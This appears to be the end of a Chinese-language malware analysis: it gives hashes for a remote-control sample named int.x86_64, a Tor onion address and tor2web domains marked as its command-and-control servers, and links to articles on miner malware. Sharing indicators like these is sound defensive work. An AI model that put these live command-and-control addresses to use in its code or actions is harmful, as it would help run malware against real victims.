SHA-256 7de2aa89cb2f2edf06418ad39d6c516c25bb52a5d1bf62332b0892bc2fa1c3d4
远控样本(int.x86_64)hash: MD5 7308d194a75c13e464d4a8cc8094bca7
SHA-1 389889090811fb2a4063d03c0ecafb33b8c68b12
SHA-256 7834430c0d7953648e906a679ae6e92d6807305220639df41bff72dceb09e94f
fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.onion
fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it
——C&C域名fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in
——C&C域名
参考文章 https://www.freebuf.com/articles/system/233138.html
https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=144683
https://www.freebuf.com/articles/system/225146.html
https://hksanduo.github.io/2021/11/08/2021-11-08-systemd-miner-analysis/
https://www.freebuf.com/articles/web/279000.html
https://zhuanlan.zhihu.com/p/370493577
https://www.codenong.com/cs106872151/cl
http://les1ie.com/2021/07/12/tor-miner/
https://github.com/tor2web/Tor2web
https://zhuanlan.kanxue.com/article-10818.htm